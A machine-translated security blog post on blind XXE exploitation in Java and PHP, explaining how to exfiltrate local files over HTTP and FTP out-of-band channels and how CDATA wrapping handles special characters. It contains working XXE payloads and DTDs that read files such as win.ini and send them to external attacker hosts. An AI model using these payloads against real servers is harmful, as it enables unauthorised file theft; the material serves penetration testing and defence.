Generally speaking, when encountering XXE in Java, it's easy to do if there is echo. If there is no echo, we need to construct a channel to bring out the data. In the past, in XXE utilization, if we simply used HTTP protocol (except CRLF as the end, it is not allowed to display separate CR or LF characters), we can't read files with newline.
For example, win INI files have line breaks
If you want to transfer the file, you will report an error legal character in URL
In rt.jar! \sun\net\www\http\HttpClient. In line 420 of class, there is judgment on line feed
if (var1.indexOf(10) == -1) { return var1; } else { throw new MalformedURLException("Illegal character in URL"); } Copy code
At this time, if it's a PHP environment, it's easy to do. If you code the data, it can be brought out smoothly, such as base64
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://127.0.0.1/evil2.dtd"> %dtd; %send; ]> <root></root> Copy code
In this way, even if the file has an Illegal character, it can be brought out, but Java does not have a relevant coding protocol. At this time, we often use the FTP protocol to transfer data to the outside. The data itself may contain characters such as \ r, \ n and so on
It seems beautiful. The problem has been solved. However, we often encounter some unexpected situations. What if there are the following characters in the file
' " < > & Copy code
The following error will be reported. The declaration of entity XXX must end with >
dtd files are as follows:
<!ENTITY % payload "<!ENTITY % send SYSTEM 'ftp://xxxxxx/%file;'>"> %payload; Copy code
This is because when xml is parsed, the entity will be replaced. After the file content with single quotation marks is spliced into the string, the single quotation marks are closed with the single quotation marks of the send entity, and then the subsequent data becomes invalid data
If the single quotation mark in the file is followed by a character other than the closing angle bracket >, an error will be reported that the declaration of entity XXX must end with >
If the single quotation mark happens to be followed by a right angle bracket, it won't work. You still have garbage data behind you. You can report an error and change it at most
At this time, is there any way to read such special files?
xml is designed with this situation in mind. Although xml requires the use of these symbols in general, it is best to replace the corresponding characters with corresponding entity references, if you have to use them, you can use CDATA method to read them.
CDATA refers to Unparsed Character Data that should not be parsed by the XML parser. All contents in the CDATA section will be ignored by the parser. The CDATA section starts with <! [CDATA [and ends with]] >
Let's modify the payload:
dtd
<!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxxx/%start;%r;%end;'>"> Copy code
payload
<?xml version="1.0"?> <!DOCTYPE cdl [ <!ENTITY % r SYSTEM "file:///C:/Users/mrzha/Desktop/test.ini"> <!ENTITY % asd SYSTEM "http://111.111.111.40:48111/cdata.dtd"> %asd;%c;%rrr;]> Copy code
But in fact, this method can't help, because it still needs to be spliced into the url and will still be closed with the external single quotation marks, such as
However, CDATA method can be used when xxe has echo, which is a good method.
Normal read unable to read
Use the CDATA method to read, but please note that this situation is not perfect, at least for individual & symbols
Unless it constitutes a complete entity reference format
In addition, the version change of JDK has an impact on the skill of using FTP as the information transmission channel, which is why the higher version cannot use FTP to read multiline files because fturlconnection The static method in class checks var0 in the URL toExternalForm(). Indexof (10) > - 1, parse the URL here and check whether there is a newline character in the URL (ascii is 10). If so, throw an exception
The author doesn't have a specific version of checkURL to check line feed. Interested readers can look for it
rt.jar!\sun\net\www\protocol\ftp\FtpURLConnection.class
static URL checkURL(URL var0) throws IllegalArgumentException { if (var0 != null && var0.toExternalForm().indexOf(10) > -1) { MalformedURLException var3 = new MalformedURLException("Illegal character in URL"); throw new IllegalArgumentException(var3.getMessage(), var3); } else { String var1 = IPAddressUtil.checkAuthority(var0); if (var1 != null) { MalformedURLException var2 = new MalformedURLException(var1); throw new IllegalArgumentException(var2.getMessage(), var2); } else { return var0; } } } Copy code
summary
In general, if it's a php environment, it's all right, but in a java environment, if
Echo (no need to take it out through URL):
1. Ordinary file -> Direct read echo 2. File with newline -> Direct read echo Copy code
Files with special characters - > CDATA echo
3. Files with special characters and line breaks -> CDATA Echo Copy code
No echo:
1. Ordinary file -> HTTP perhaps FTP Can be brought out Copy code
File with newline - > FTP bring out 3 File with special characters - >.. There is no good way for the time being 4 Files with special characters and line breaks - >.. There is no good way for the time being
In addition, you should pay attention to the impact of JDK version
Author: Hetian Wangan Laboratory
Link: https://juejin.cn/post/6995043338130817032
Source: Nuggets
The copyright belongs to the author. For commercial reprint, please contact the author for authorization, and for non-commercial reprint, please indicate the source.